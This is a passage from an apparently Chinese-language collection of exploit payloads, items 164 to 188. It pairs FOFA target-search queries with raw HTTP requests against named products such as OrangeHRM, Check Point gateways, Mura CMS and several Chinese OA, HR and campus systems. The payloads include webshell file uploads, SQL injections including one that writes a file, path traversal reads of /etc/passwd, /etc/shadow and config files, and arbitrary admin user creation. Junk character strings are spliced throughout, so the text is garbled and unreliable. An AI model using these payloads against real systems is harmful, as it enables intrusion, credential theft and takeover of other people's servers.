; Z# k( C" ?+ n, m5 T; P) C + U% p, _' B M: V0 }7 a164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传$ a) K t H& e, m' P7 m, {
FOFA: title="智慧综合管理平台登入" 5 T9 H% r5 d# h7 TPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1: d. l) k5 [, r" P8 @9 I9 @
Host: x.x.x.x K) n3 d1 m% Q* \9 }; DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0. w* P# t/ e( R- H& H2 y
Content-Length: 288 S& Y5 Y- [: z) Y7 g! `4 u
Accept: application/json, text/javascript, */*; q=0.01 2 t9 \) ], u0 W' ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,- Z: D. O' C9 V8 o0 b9 M
Connection: close 9 ]. h: Y/ V& E& SContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl * K: u; G9 p! m( R; cX-Requested-With: XMLHttpRequest " f2 I) S% |. T: ]. xAccept-Encoding: gzip% @& O9 k" U5 j( g& Y
4 \2 l1 I4 R9 x/ p+ u, h* i
------dqdaieopnozbkapjacdbdthlvtlyl 6 |% m9 p# b0 w' gContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx") W3 V& D) v0 E/ H9 ?
Content-Type: image/jpeg 7 c7 |7 y: z/ Y% S" ^- D' x; I # R2 L2 i/ C; E+ H, M<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>) k$ G% q: J% g! l' S
------dqdaieopnozbkapjacdbdthlvtlyl-- & R W8 y% M E3 H: v( ]9 S( Q0 @. l2 R9 n N
% D0 L1 A% g" b- k; \ http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx4 T2 d1 E/ M; p# Z% U$ s
9 C' |2 R, t x9 u, a9 M
165. OrangeHRM 3.3.3 SQL 注入. a! Z9 ?( \; w
CVE-2024-36428 / S2 f# b! n9 O0 Y$ {% z# jFOFA: app="OrangeHRM-产品" # W( ?2 T8 i6 ]URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END)), Z7 o/ g* f8 H1 M$ y3 @7 P& r
8 c* Q/ p, Y9 h1 \# G/ \/ ^5 {
. ~4 N& M2 l! ]7 _% a
166. 中成科信票务管理平台SeatMapHandler SQL注入 - u- B9 Q( o( qFOFA：body="技术支持：北京中成科信科技发展有限公司" " U' G; s3 o* c" z* d: W# ZPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1# C( M7 D# H* F0 s5 |
Host: 3 k6 ]6 u" {1 O a; [% ?Pragma: no-cache : S" w- f+ |3 q5 ]1 _8 ICache-Control: no-cache: S1 @! T7 R ]
Upgrade-Insecure-Requests: 1% G& o: Y" A3 ?0 ?( O0 |5 Z
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 , c) X; P& O# y5 }) C+ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 ) ^1 D1 d. J" c7 wAccept-Encoding: gzip, deflate* W& D7 C# I1 H" G5 Z
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 % T5 R! W8 @4 F+ `8 }Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE " |/ n# w. v( ?6 B2 k( DConnection: close3 {- _& g$ D$ s9 ^
Content-Type: application/x-www-form-urlencoded # ]+ k$ z3 Z0 f& Q& X3 Z! lContent-Length: 89 , Y& F% N5 p/ q! ]8 Q* k0 X1 L* @! k- m7 ~ {1 A/ v* y
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE! w$ C( u$ S* C/ P5 n! o! T2 j% C
* N, \! t, b/ p1 i1 t5 K: n% y
7 v" S& l8 e/ w2 a8 E/ r167. 精益价值管理系统 DownLoad.aspx任意文件读取 - O Y7 a6 z& PFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"; h1 z! v& w# O
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1- x- _: e* Z5 J& u5 z% P. j
Host: ; m7 S3 z( N8 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 * [7 T6 ]+ ` Q0 @; P" QContent-Type: application/x-www-form-urlencoded3 x: a* d6 o$ i
Accept-Encoding: gzip, deflate 3 Q# o1 d# p- \! g) a' eAccept: */* 3 S T5 x5 m7 e: a9 `2 ]! k' |5 s0 }1 jConnection: keep-alive 1 P$ _; q2 u' `$ _ # G7 X _6 i' J" N5 b$ \2 e. D, c6 @; }
168. 宏景EHR OutputCode 任意文件读取4 W& k4 S# W8 [, s: R8 x
FOFA：app="HJSOFT-HCM" |' P N: l+ `& O$ F# G* k
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1 $ Y9 @' w- G4 }' Z. HHost: your-ip W5 j- k/ X8 z e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 8 ]) I M T6 `1 g+ j5 yContent-Type: application/x-www-form-urlencoded# i) Q U! Y! r/ l
Connection: close / n! m) Z2 `) C+ W+ S J; y0 \7 \2 w, d7 J1 P: g( W- `
, N* v- A/ p* S 7 q6 O/ `+ }: ^5 {6 f169. 宏景EHR downlawbase SQL注入 - ]6 Y8 V. o3 A! z' OFOFA：app="HJSOFT-HCM"$ m6 A1 u0 @, i0 H; B
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1 : k$ f6 t' s) [! ~2 }) kHost: your-ip3 F, Z k: }- O. O/ }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 2 l, b% {) S d7 o# M/ x9 ]( o$ HAccept: */* / {( G. C$ S5 p5 p; F9 |/ }8 |Accept-Encoding: gzip, deflate / T0 J# B$ d/ ~4 t1 e! e& CConnection: close B% e m, w( `: e, Z
( f3 ?- v- e* H0 Z/ V6 V" R. a' W) |$ m: v
# A- M) o$ l) ^8 t& Y3 q7 e170. 宏景EHR DisplayExcelCustomReport 任意文件读取 0 m' `5 \! n5 @: lFOFA：body="/general/sys/hjaxmanage.js" " [( O. \* X2 ?. z0 y/ D5 }6 FPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1$ L6 f/ \+ j6 @
Host: balalanengliang4 z) X- r/ a C- Q' F. ]
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 , F2 _& i% q0 ~. M* f+ S3 Q* |Content-Type: application/x-www-form-urlencoded 4 ], \ k+ C9 E7 t$ v. |* p1 A$ R3 `8 b% f
filename=../webapps/ROOT/WEB-INF/web.xml7 |" y0 U( C. e9 `1 V, u
/ U0 D/ v' L" }* w; o; M L$ j/ j% J+ s- t
171. 通天星CMSV6车载定位监控平台 SQL注入 ! E% ~8 o' h9 {! ?& Y. J) c _- `3 dFOFA：body="/808gps/"; ^' a' Z# k2 A% c, b
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1 ' S* r& g% D+ S# S0 Q" {) ]! hHost: your-ip' s1 i: K6 j* I: h2 Q; Y- i; k
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0 - h( I- I1 k+ ~3 N+ A, t( g9 EAccept: */* + i/ g" P& m: X' PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.25 C) D7 Q0 N# S2 c4 [( v1 s; [
Accept-Encoding: gzip, deflate ; G/ T3 P N# {/ D, B& T9 ]8 e( ^: }Connection: close* M0 a* \2 _+ x! Y( b" ^9 g; l
3 g4 C! A! d& L$ [9 @
6 ^ i3 C8 [6 P% y2 Q8 I& S6 R( S. O
172. DT-高清车牌识别摄像机任意文件读取6 T& N: Y, `( I, l! I( s( U
FOFA：app="DT-高清车牌识别摄像机"/ c- Z- l) g5 @1 G
GET /../../../../etc/passwd HTTP/1.1 9 i# s4 `: F' _/ Z. zHost: your-ip 1 ~3 O3 I* D0 o: oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36( K8 h9 x: p$ r
Accept-Encoding: gzip, deflate 4 `) e8 d" W- F& k* H# jAccept: */* @. e9 i1 H' u+ E, f0 h% }Connection: keep-alive4 w6 X, X. q0 B* G' F- u( m
2 z" y2 D* p& C' L0 w; s6 G. K/ S6 D7 N. H, k6 k) _
% {* e3 ]$ Y0 l* A+ @3 o, N
173. Check Point 安全网关任意文件读取1 _; k+ x2 D: M, v/ |
CVE-2024-24919 4 l; n% l0 S) `+ Y [FOFA：app="Check_Point-SSL-Network-Extender" c# J; M9 v" F! E
POST /clients/MyCRL HTTP/1.1 + K9 X, i/ t% [Host: your-ip7 U7 ]; m. k0 r- f5 n* t' Z) I
Content-Type: application/x-www-form-urlencoded 9 _5 c# ?) {% n' r5 }* n _ 7 J/ [" l& h7 n: O( B+ C* U7 PaCSHELL/../../../../../../../etc/shadow% F+ X1 ]+ v- Y; a' D' b ]
9 e- @# F0 `2 n- U3 A! T g/ p/ v z8 N
/ T( l" b# O) S S* @: M% P174. 金和OA C6 FileDownLoad.aspx 任意文件读取1 ^, Y- l8 F1 x9 ^! U
FOFA：app="金和网络-金和OA" $ e& R( i w! [/ HGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1 ; J! |- n$ j) m ?2 y$ S3 W: |* YHost: your-ip9 _7 g& X( Y5 d% d+ e" W2 j
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 $ K6 ^! L$ P% F/ p6 T4 ?/ A0 M, {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 6 ]2 ^5 S+ {6 ]- ^" p, E1 jAccept-Encoding: gzip, deflate, br" a! l p- {1 n- V5 R9 C% f
Accept-Language: zh-CN,zh;q=0.9 7 |0 w+ K! D: `+ r G4 yConnection: close , M+ X% u% e `; x( |, I3 b2 a 0 B3 l% [2 P' m4 P1 R5 ^7 }/ B5 J d& Q
- e1 ~7 D$ \ o! f7 W8 d' L0 u2 B* ^
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入+ v$ ?$ U6 X6 d0 K4 w+ s
FOFA：app="金和网络-金和OA" : M+ Z. M+ U' n2 vGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1* X0 ?; h2 t; {& ^ F4 [
Host:6 C g* m/ W( ~1 l" a: H% {
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 ! C+ L* I6 [2 G3 O/ [# d: eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8/ z' F' Y4 x6 L7 w+ H, g* {
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.22 Y8 o9 O1 J. G' V5 d1 t0 I9 w
Accept-Encoding: gzip, deflate9 \; x) w0 T& Q- W
Connection: close' o9 S, k- ]4 X% ^. u( }. U
Upgrade-Insecure-Requests: 1 + b& c4 b# }7 D' }7 z; D6 P- A2 K1 ?( D Q) ?8 R
8 D3 \$ ?; B' x9 z, M6 V176. 电信网关配置管理系统 rewrite.php 文件上传 ' O( I1 P3 @) U y F, o+ YFOFA：body="img/login_bg3.png" && body="系统登录"2 `+ Y9 C7 J, A$ b3 \; t
POST /manager/teletext/material/rewrite.php HTTP/1.1) t) ^$ J4 N" \/ u8 {" K& ~: D
Host: your-ip # F8 x7 w+ n4 C, J1 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0+ l/ @3 X/ b3 c% } }
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT 3 K3 q# q& N- Z: C6 q0 U- cConnection: close & L/ Y; r' z6 n+ s5 \* b 8 b) J" N. |( x0 O3 y------WebKitFormBoundaryOKldnDPT5 s4 A7 B; J$ d, P' H
Content-Disposition: form-data; name="tmp_name"; filename="test.php"' s$ W5 u' c" ?/ v
Content-Type: image/png& ]* b( W$ b: U, r) s
0 q: p8 e, D. K<?php system("cat /etc/passwd");unlink(__FILE__);?>. [1 c/ _2 q: O; U0 T" T
------WebKitFormBoundaryOKldnDPT0 Y1 ?0 [. W o, I, E
Content-Disposition: form-data; name="uploadtime". d- G' u" r7 z. q
+ J% [' N# W; L # g% i# T# w/ _* w0 |( O/ s------WebKitFormBoundaryOKldnDPT--" {' _9 J% Q* e- s" @, ]2 @
& X+ X% B9 G6 `$ ]/ I/ {" A* y
: ~& F( B% I; |% u( i' ?
}" n6 r0 x6 o7 u" v7 W
177. H3C路由器敏感信息泄露1 g6 c# X; B8 N1 z
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg5 J7 S) X; u% e% A! `& z
/userLogin.asp/../actionpolicy_status/../M60.cfg " v. ?) X! x$ r7 P/userLogin.asp/../actionpolicy_status/../GR8300.cfg 5 v5 Z7 x7 G$ I0 h( y/userLogin.asp/../actionpolicy_status/../GR5200.cfg # T, P0 a* S. ~2 }4 u9 i- J/userLogin.asp/../actionpolicy_status/../GR3200.cfg ( s9 e( ^ N* v% ], }7 V: k/userLogin.asp/../actionpolicy_status/../GR2200.cfg6 J- }; \ O7 I- c! ?* h
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg ; S2 \6 d) U1 m/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg 8 S! J" B* @: u/ U0 v3 q; q/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg 5 H) P6 y9 |- q7 \% i/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg 5 [3 ^. E$ F/ p: r5 D4 B6 ^/userLogin.asp/../actionpolicy_status/../ER5200.cfg- P4 ?; K1 f2 M; o2 p! l
/userLogin.asp/../actionpolicy_status/../ER5100.cfg( k/ E6 f9 p; {8 u. a
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg2 q5 X* r1 C! _) _
/userLogin.asp/../actionpolicy_status/../ER3260.cfg 0 k7 C/ k6 o; w- b7 p, `/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg5 V4 {* I- j. m& V% m( \2 B
/userLogin.asp/../actionpolicy_status/../ER3200.cfg2 f8 h9 d. M: o7 X( X/ r5 K& x. ~
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg 9 G- Z& A; N, F7 [/ x" ?/ {, c/userLogin.asp/../actionpolicy_status/../ER3108G.cfg ; h) C! [, |/ _/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg : T1 S% f3 `& r3 g9 |% Z9 X) y% z8 F' {/userLogin.asp/../actionpolicy_status/../ER3100.cfg # F1 Z* i5 G' g/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg5 b/ s( x O3 Q- K( O& p
. H$ v, g# g9 m. V
3 n. M1 h, ]" O" l; \3 C
178. H3C校园网自助服务系统-flexfileupload-任意文件上传 ; F, T/ l& b5 rFOFA：header="/selfservice". z* E1 n( F/ s. G& t* C
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1+ [3 t8 t- Y1 ?. q& t0 a6 V
Host:) \' ]2 ~2 ?# ~3 l' u* _- x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 ' g/ x8 f0 O" X. B& JContent-Length: 2520 W9 Y/ Y7 U$ |$ x: C0 {' h3 }# \
Accept-Encoding: gzip, deflate* r5 ?3 x" ]3 Z9 t
Connection: close 6 j& ~- W+ O0 A9 vContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l! z& f4 l' M% V6 N2 P6 ]) s5 m1 x
-----------------aqutkea7vvanpqy3rh2l , b) e+ G5 h# q) `Content-Disposition: form-data; name="12234.txt"; filename="12234") E) u5 N, w7 y6 h. a1 W- v( ^+ M4 Y
Content-Type: application/octet-stream; `4 B* T2 R9 e3 g2 U
Content-Length: 255 5 m1 Y' b9 X# n z4 c/ y9 S ~4 v7 h' p* G
122341 j6 I* l2 ?7 H: U
-----------------aqutkea7vvanpqy3rh2l--2 h3 S8 V& V- E' X3 A
3 i0 g) ` s2 t) O. Y: v" x* _# T: ~- g3 J; a9 G! Y9 V
GET /imc/primepush/%2e%2e/flex/12234.txt 9 E7 y ~" z, ~; z; ]8 o c# N) `5 i; s1 z
. y+ n0 S& p" d6 W# J/ D* k179. 建文工程管理系统存在任意文件读取 9 Y- F) e0 Y. z" E( G u+ pPOST /Common/DownLoad2.aspx HTTP/1.1% L' l1 h) R+ C2 M/ O
Host: {{Hostname}}- ]# T, ], u- Y; u
Content-Type: application/x-www-form-urlencoded/ S* V% C: V; ]$ p
User-Agent: Mozilla/5.09 U) l8 l% D6 w- W( v3 j) x
6 G: A8 E$ ?2 w% p
path=../log4net.config&Name=3 Q- i# D7 X% {: d# ^1 a$ s9 Z" b
1 Z4 D1 q& y. t g
' }% D' N4 I" I4 P) u
180. 帮管客 CRM jiliyu SQL注入9 \$ H, l" ?/ | S" s
FOFA：app="帮管客-CRM" ' h3 u' ~9 F3 m2 z" T5 B3 jGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1 7 a M' I# S' O2 O& i8 JHost: your-ip+ A0 F/ X }% c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 + f! \& c# f* ?: {7 T. c# MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.72 d+ W" R4 T5 S, Z9 \/ g( Q0 _/ s7 |
Accept-Encoding: gzip, deflate1 Z7 p7 S2 f6 c
Accept-Language: zh-CN,zh;q=0.90 P3 U% q0 Y) Q! W" u0 [4 W
Connection: close 9 m, D- I- G7 w& E2 I' ]6 J& h4 A- }2 _
- h4 S3 }7 G. d. B
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入6 `* P+ r% Q/ t0 a& v/ W
FOFA："PDCA/js/_publicCom.js"9 P' I% A9 ], T
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1 & ?& T7 r7 O( N& L/ D C& {Host: your-ip 4 [: Y* r) J6 D+ l! s5 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36* E6 z! ~ u" \' P) V1 [
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7: ], f$ K8 @& G# Q( l& @
Accept-Encoding: gzip, deflate, br ' D0 v' z2 n6 q5 C5 {; _Accept-Language: zh-CN,zh;q=0.9 1 @* M2 p- @' R; h3 h0 YConnection: close 6 `* x. ^) I( [0 E7 T& d! wContent-Type: application/x-www-form-urlencoded + J6 [/ h0 b! y u : Q/ X: e9 n; B# w( e * n& m$ r1 k' J. s* l) maction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20 p- ^/ u: H x3 C5 T! o1 Y8 Y& P / G% Z% i( r& S+ W. ] ( C' m) e6 i, `/ @ X182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建 ; C( r' z/ `' E' P$ Z! pFOFA："PDCA/js/_publicCom.js" ; L# Z) ?; z; k4 {. bPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1& A6 E: q% q9 O
Host: your-ip / a$ R% o& A% a8 j- q0 G9 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 ) h7 l- ?) Q) ~& tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 6 ^, c0 a$ Q* V" K2 G$ hAccept-Encoding: gzip, deflate, br$ k( P9 n) \+ \' L
Accept-Language: zh-CN,zh;q=0.97 O+ O u1 Y+ j3 e
Connection: close 7 X. \# t2 X$ VContent-Type: application/x-www-form-urlencoded 5 @+ i3 {" e6 b( U# k3 G3 Q: Z! z% ~' J" R
9 `! C$ X6 q, m# {" S* m: N
username=test1234&pwd=test1234&savedays=1( L, o5 z* r/ N1 O1 M& ^+ `
5 A! B3 Y8 {7 [/ i5 a) ]8 U/ N9 ^1 N% ~, a% @6 R: V
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入8 b. v) I- F" d; X- Q
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面" ) V. J) g, Z+ Q6 w- a, oGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1' i; f' j: ^, O" o, U7 l
Host: your-ip. b1 M8 H/ [7 F
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 . [! z% C0 [7 ^+ k8 e( gAccept-Charset: utf-8$ O n/ l' R0 j5 ?1 F
Accept-Encoding: gzip, deflate ; Y* J, E5 ?6 oConnection: close1 h, o& p! e& v& G& B
- _8 G* [. {+ c C" q7 w
! X% \1 X( |! O- J/ F2 O5 z- U1 M184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加0 c& z% q* R/ D. H" K! Y7 L. p
FOFA：server="SunFull-Webs"# F5 w: A+ R) {" M) C. }2 ^
POST /soap/AddUser HTTP/1.1 , _2 M; y; J3 i5 rHost: your-ip 6 K' [& }# g# g1 l% rAccept-Encoding: gzip, deflate8 c9 `3 z$ \) Q- V7 o1 X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.03 |& a9 k- u5 g7 X$ j% ^* g) _/ y
Accept: application/xml, text/xml, */*; q=0.01 2 N3 c, X! [; d( H! b% _8 y! jContent-Type: text/xml; charset=utf-8# Y, @! Y7 a, O* Q
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2) h3 T- K! L5 A
X-Requested-With: XMLHttpRequest 6 ?1 S* D! V4 y' f7 N, _' Q, J - u; r( ^! a3 p# D ]9 }$ l& w6 Z/ _) finsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56') # c! h# S/ K: @/ x7 o , ~* a* c# k7 M+ `* v. o; X7 g9 |+ R' Z* B/ A* M
185. 瑞友天翼应用虚拟化系统SQL注入 % X% V' s. ^' ~( Sversion < 7.0.5.1 / y* g0 I7 y' r- Z! K* k6 ]FOFA：app="REALOR-天翼应用虚拟化系统" 4 h3 N: b: {; q( m5 `% Q; PGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1. X, A H6 P( A( \
Host: host1 Q1 [ T. v$ I$ M& P1 L7 L
( d4 t: f3 \* D7 i$ I/ H
8 f& j# f% d' \9 p; u
186. F-logic DataCube3 SQL注入 ; `2 [+ _( K% r6 o4 }CVE-2024-31750- j4 O* J9 i( h/ G E* n6 v
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统 ]7 Q4 G4 ]9 L# OFOFA：title=="DataCube3" 1 y5 b- a1 Y/ L+ m' A7 w7 gPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1( l) Q X* i! O. F! f9 k8 ~
Host: your-ip0 \0 N7 G" I" ?
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0; ]- E6 u W6 l. o, E4 L. m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8. I7 O7 v" ?1 E
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2% T" h/ m1 t% I& w7 R1 j7 R
Accept-Encoding: gzip, deflate, y2 `: H" J! a9 u8 U
Connection: close . F4 H% _9 t1 m4 OContent-Type: application/x-www-form-urlencoded1 P+ W7 h5 w7 s3 K
3 Y1 k! H, [* E% q; T; d, ?9 E9 |$ ereq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450 5 F5 E2 ~- M. |! f$ ^: G( ]" k/ k* Q5 c0 t+ t4 T. [* j
- o# Q' I2 n# A! T& a4 O1 J
187. Mura CMS processAsyncObject SQL注入 ; E" \! D1 @1 X1 @" b4 PCVE-2024-32640 & Z" i7 @: e! A" Y; [ iFOFA："Mura CMS"4 D* Q, [2 A! ^) ?& e' m v: `1 M
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1 Z9 N! t& m( R$ RHost: your-ip ! u/ G8 j7 @3 f) k3 |3 jContent-Type: application/x-www-form-urlencoded" o( g9 f: o. J( l) p' j
3 c! }3 t/ t7 Z1 z6 n4 |3 x, E$ ?3 T, Y2 Z: O0 [
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1 $ I& j l- n3 e5 p0 e" e5 | \5 n* t+ t: s
# {, D, M0 Z# f) m
188. 叁体-佳会视频会议 attachment 任意文件读取9 p8 s4 z5 @& G
version <= 3.9.7/ ~5 L( q& z7 f, j/ T
FOFA：body="/system/get_rtc_user_defined_info?site_id" 6 S3 P# u, m5 ]) W" [: N. ~) SGET /attachment?file=/etc/passwd HTTP/1.1, A8 E9 Z- N. E
Host: your-ip # w5 E$ }. V( q! e7 L& CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36- F( p- e# r# o% L' D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.73 t: D% D8 i7 ]( l4 b
Accept-Encoding: gzip, deflate5 I" ?# V2 Z0 A' g$ u
Accept-Language: zh-CN,zh;q=0.9,en;q=0.81 M& c, `# f/ I
Connection: close ' k8 X" z5 l8 N. P/ S6 x0 R, v/ y6 l/ c. z9 S0 f